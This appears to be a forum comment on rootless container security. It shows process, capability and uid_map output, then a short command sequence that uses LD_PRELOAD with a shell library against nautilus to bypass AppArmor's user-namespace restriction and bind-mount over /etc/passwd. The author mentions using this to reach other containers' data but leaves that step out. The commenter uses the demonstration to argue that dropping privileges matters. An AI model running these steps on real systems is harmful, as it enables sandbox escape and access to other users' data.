More concrete info here. Container: # ps -ef UID PID PPID C STIME TTY TIME CMD root 1 0 0 Apr11 ? 00

More concrete info here. Container: # ps -ef UID PID PPID C STIME TTY TIME CMD root 1 0 0 Apr11 ? 00:15:32 ./llama-server -hf... Host: UID PID PPID C STIME TTY TIME CMD 1000 99880 99878 0 Apr11 ? 00:15:29 ./llama-server -hf... $ cat /proc/99880/status | grep CapEff CapEff: 00000000800405fb $ capsh --decode=00000000800405fb 0x00000000800405fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_sys_chroot,cap_setfcap $ cat /proc/99880/uid_map 0 1000 1 1 100000 65536 The _effective_ uid of 0 in a container is the default ubuntu user 1000, note how 0 is mapped to 1000, then everything else is mapped with an offset of 100000. Footnote 2 on here is a hint on why that is a problem, note the last line. https://www.kernel.org/doc/html/latest/admin-guide/namespaces/compatibility-list.html https://www.kernel.org/doc/html/latest/admin-guide/namespace... The cap_dac_override and cap_fowner, which the user is expected to drop, also pose a problem, from the container side. From the host side, this very public ld_preload method still works. https://www.openwall.com/lists/oss-security/2025/03/27/6 https://www.openwall.com/lists/oss-security/2025/03/27/6 $ uname -a Linux amd 6.17.0-20-generic #20-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 20:07:29 UTC 2026 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 25.10 Release: 25.10 Codename: questing $ sysctl kernel.apparmor_restrict_unprivileged_userns kernel.apparmor_restrict_unprivileged_userns = 1 $ LD_PRELOAD=./shell.so /usr/bin/nautilus $ unshare -U -r -m /bin/sh # mount --bind /etc/passwd /etc/passwd # mount /dev/nvme0n1p2 on /etc/passwd type ext4 (rw,relatime) Note that I could use ld_preload, using weak nautilus apparmor defaults, escalate to root *in the default namespace* and mount on /etc/passwd!!! Now in a container, that won't get you to the host, but it will help you get rid of the pesky udev[/null] and other bind mounts that prevent you from extracting data from other containers running as the same UID. But I can't find a public version of that trick, so I will leave that to the reader. The point is that for unix-like OSs, privilege dropping is where most security comes from, if you run with elevated privileges and don't drop them there are always trivial holes, and the OP shows how hard that can be to constrain.